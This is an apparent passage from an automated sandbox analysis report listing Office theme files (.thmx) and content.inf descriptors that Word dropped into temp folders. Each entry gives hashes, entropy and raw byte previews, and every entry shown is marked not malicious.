SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDDCC9.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5459495297497368
Encrypted:	false
SSDEEP:	6:Q+sxnxUXvBAuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnypJymD0wbnKNAH/lMz1
MD5:	76340C3F8A0BFCEDAB48B08C57D9B559
SHA1:	E1A6672681AA6F6D525B1D17A15BF4F912C4A69B
SHA-256:	78FE546321EDB34EBFA1C06F2B6ADE375F3B7C12552AB2A04892A26E121B3ECC
SHA-512:	49099F040C099A0AED88E7F19338140A65472A0F95ED99DEB5FA87587E792A2D11081D59FD6A83B7EE68C164329806511E4F1B8D673BEC9074B4FF1C09E3435D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.i.v.i.d.e.n.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDCDA.tmp\Metropolitan.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCDDCDA.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5091498509646044
Encrypted:	false
SSDEEP:	6:Q+sxnxUX1MiDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyFdMymD0wbnKNAH/lMz1
MD5:	23D59577F4AE6C6D1527A1B8CDB9AB19
SHA1:	A345D683E54D04CC0105C4BFFCEF8C6617A0093D
SHA-256:	9ADD2C3912E01C2AC7FAD6737901E4EECBCCE6EC60F8E4D78585469A440E1E2C
SHA-512:	B85027276B888548ECB8A2FC1DB1574C26FF3FCA7AF1F29CD5074EC3642F9EC62650E7D47462837607E11DCAE879B1F83DF4762CA94667AE70CBF78F8D455346
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.t.r.o.p.o.l.i.t.a.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDCEA.tmp\View.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCDDCEA.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.535303979138867
Encrypted:	false
SSDEEP:	6:Q+sxnxUX3IlVARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnynG6ymD0wbnKNAH/lMz1
MD5:	35AFE8D8724F3E19EB08274906926A0B
SHA1:	435B528AAF746428A01F375226C5A6A04099DF75
SHA-256:	97B8B2E246E4DAB15E494D2FB5F8BE3E6361A76C8B406C77902CE4DFF7AC1A35
SHA-512:	ACF4F124207974CFC46A6F4EA028A38D11B5AF40E55809E5B0F6F5DABA7F6FC994D286026FAC19A0B4E2311D5E9B16B8154F8566ED786E5EF7CDBA8128FD62AF
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.i.e.w...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDD6A.tmp\Parallax.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCDDD6A.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.51145753448333
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKsWkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6svymD0wbnKNAH/lMz1
MD5:	7956D2B60E2A254A07D46BCA07D0EFF0
SHA1:	AF1AC8CA6FE2F521B2EE2B7ABAB612956A65B0B5
SHA-256:	C92B7FD46B4553FF2A656FF5102616479F3B503341ED7A349ECCA2E12455969E
SHA-512:	668F5D0EFA2F5168172E746A6C32820E3758793CFA5DB6791DE39CB706EF7123BE641A8134134E579D3E4C77A95A0F9983F90E44C0A1CF6CDE2C4E4C7AF1ECA0
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.a.l.l.a.x...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDD7C.tmp\Wood_Type.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Local\Temp\TCDDD7C.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.5552837910707304
Encrypted:	false
SSDEEP:	6:Q+sxnxUXtLARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygymD0wbnKNAH/lMz1
MD5:	5728F26DF04D174DE9BDFF51D0668E2A
SHA1:	C998DF970655E4AF9C270CC85901A563CFDBCC22
SHA-256:	979DAFD61C23C185830AA3D771EDDC897BEE87587251B84F61776E720ACF9840
SHA-512:	491B36AC6D4749F7448B9A3A6E6465E8D97FB30F33EF5019AF65660E98F4570711EFF5FC31CBB8414AD9355029610E6F93509BC4B2FB6EA79C7CB09069DE7362
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .W.o.o.d._.T.y.p.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDE1B.tmp\Quotable.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Local\Temp\TCDDE1B.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5323495192404475
Encrypted:	false
SSDEEP:	6:Q+sxnxUXhduDARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyxdumymD0wbnKNAH/lMz1
MD5:	BD6B5A98CA4E6C5DBA57C5AD167EDD00
SHA1:	CCFF7F635B31D12707DC0AC6D1191AB5C4760107
SHA-256:	F22248FE60A55B6C7C1EB31908FAB7726813090DE887316791605714E6E3CEF7
SHA-512:	A178299461015970AF23BA3D10E43FCA5A6FB23262B0DD0C5DDE01D338B4959F222FD2DC2CC5E3815A69FDDCC3B6B4CB8EE6EC0883CE46093C6A59FF2B042BC1
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .Q.u.o.t.a.b.l.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDE2C.tmp\Parcel.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDDE2C.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.516359852766808
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKwRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6qymD0wbnKNAH/lMz1
MD5:	960E28B1E0AB3522A8A8558C02694ECF
SHA1:	8387E9FD5179A8C811CCB5878BAC305E6A166F93
SHA-256:	2707FCA8CEC54DF696F19F7BCAD5F0D824A2AC01B73815DE58F3FCF0AAB3F6A0
SHA-512:	89EA06BA7D18B0B1EA624BBC052F73366522C231BD3B51745B92CF056B445F9D655F9715CBDCD3B2D02596DB4CD189D91E2FE581F2A2AA2F6D814CD3B004950A
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.c.e.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDE6B.tmp\Berlin.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDDE6B.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5270134268591966
Encrypted:	false
SSDEEP:	6:Q+sxnxUXa3Y1kRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyt1mymD0wbnKNAH/lMz1
MD5:	327DA4A5C757C0F1449976BE82653129
SHA1:	CF74ECDF94B4A8FD4C227313C8606FD53B8EEA71
SHA-256:	341BABD413AA5E8F0A921AC309A8C760A4E9BA9CFF3CAD3FB2DD9DF70FD257A6
SHA-512:	9184C3FB989BB271B4B3CDBFEFC47EA8ABEB12B8904EE89797CC9823F33952BD620C061885A5C11BBC1BD3978C4B32EE806418F3F21DA74F1D2DB9817F6E167E
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.e.r.l.i.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDF48.tmp\Savon.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Local\Temp\TCDDF48.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5364757859412563
Encrypted:	false
SSDEEP:	6:Q+sxnxUXARkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnywMymD0wbnKNAH/lMz1
MD5:	CD465E8DA15E26569897213CA9F6BC9C
SHA1:	9EA9B5E6C9B7BF72A777A21EC17FD82BC4386D4C
